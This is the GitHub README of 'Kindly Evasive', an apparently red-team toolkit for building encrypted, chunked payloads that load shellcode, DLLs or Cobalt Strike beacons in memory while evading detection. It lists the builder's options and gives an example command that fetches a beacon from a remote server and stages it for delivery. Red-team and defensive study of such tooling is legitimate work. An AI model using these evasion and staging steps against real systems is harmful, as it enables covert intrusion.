Skip to content

Latest commit

 

History

16 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Kindly Evasive


Kindly Evasive


Kindly Evasive is a post-exploitation and Initial Access Payload (IAP) toolkit created by @rottaj
It's designed for building and injecting payloads evasively into memory. It allows you to efficiently manage payloads, facilitating seamless operations during engagements.

⚠️ The use of this tool for malicious purposes is illegal and unethical. Always ensure that you have explicit permission to use this tool in any environment.

Features

Builder

  • Payload Creation: Build and inject payload configurations into a custom PE section that loads them upon execution.
  • Payload Source: Load unencrypted payloads from your local computer or a remote server.
  • Payload Encryption: Encrypt payloads using various encryption methods.
  • Chunking: Optionally separate the payload into multiple files (chunks) for enhanced flexibility.

Payload Options

  • Shellcode Injection: Support for injecting shellcode.
  • In-Memory PE Loader: Features a PE loader capable of loading EXE, DLL, and Cobalt Strike beacons.

Builder Arguments

Usage: ./KindlyBuilder [options]

https://github.com/rottaj/KindlyEvasive

Options:
   --help                       Display this help message.
   --output-dir                 Full file path including file name to output payload to.
   --verbose                    Print verbose output
   --debug                      Enables breakpoints and console ouput on payload file.

Encryption Options:
   --encryption-method          XOR, AES, RC4.
   --encryption-key             Encryption key to be used.

Payload Input Options:
   --local-file                 Load unencrypted payload file from local computer. Argument is the full file path to the payload file.
   --remote-file                Fetch unencrypted payload file from remote server. Argument is the full URL to the server hosting the payload file.

Payload Features:
   --payload-type               raw, dll, beacon
   --dummy-fetch                Make HTTP requests to dummy API's alongside payload requests.

Payload Delivery Options:
   --staging-server             URL of web server used to host initial access payloads after build is complete.
   --payload-size               Size of payload (bytes)
   --chunk-count                Split encrypted payload into multiple files. Example: -chunk 3 (will output 3 .bin files)

Options

--help                       Display this help message.
--output-dir                 Full file path including file name to output payload to.
--verbose                    Print verbose output.
--debug                      Enables breakpoints and console output on the payload file.

Encryption Options

--encryption-method          Specify encryption method (XOR, AES, RC4).
--encryption-key             Set the encryption key to be used.

Payload Input Options

--local-file                 Load unencrypted payload file from local computer. Argument is the full file path to the payload file.
--remote-file                Fetch unencrypted payload file from remote server. Argument is the full URL to the server hosting the payload file.

Payload Features

--payload-type               Specify type of payload (raw, dll, beacon).
--dummy-fetch                Make HTTP requests to dummy APIs alongside payload requests.

Payload Delivery Options

--staging-server             URL of web server used to host initial access payloads after build is complete.
--payload-size               Size of payload in bytes.
--chunk-count                Split encrypted payload into multiple files. Example: --chunk 3 (will output 3 .bin files).

Installation

  1. Clone the repository:

    git clone https://github.com/rottaj/KindlyEvasive.git
    cd KindlyEvasive 
  2. Install required dependencies (if any).

  3. Build the toolkit:

    cd KindlyBuilder
    cmake 

Usage

To get started with Kindly Evasive, run the following command:

.\KindlyBuilder -h

.\KindlyBuilder.exe --output-dir C:\Payloads\testing.exe --encryption-method XOR --remote-file http://192.168.1.124:8080/beacon_x64.bin 
--payload-size 304128 --payload-type beacon --staging-server http://192.168.1.124:8080/ --chunk-count 3

KindlyEvasive in action

👇 Some Gifs might take a some time to load. 👇 alt text alt text alt text alt text

Disclaimer

Use this software responsibly and only in environments where you have legal permission.
The author of this tool is not responsible for any misuse or damages caused.

Contributing

Contributions are welcome! Please fork the repository and submit a pull request for any features or improvements.

License

This project is licensed under the MIT License. See the LICENSE file for details.


For any questions or support, feel free to open an issue in the repository or reach out to the maintainers. Happy testing!

About

Outdated Shellcode runner.

Resources

Stars

1 star

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages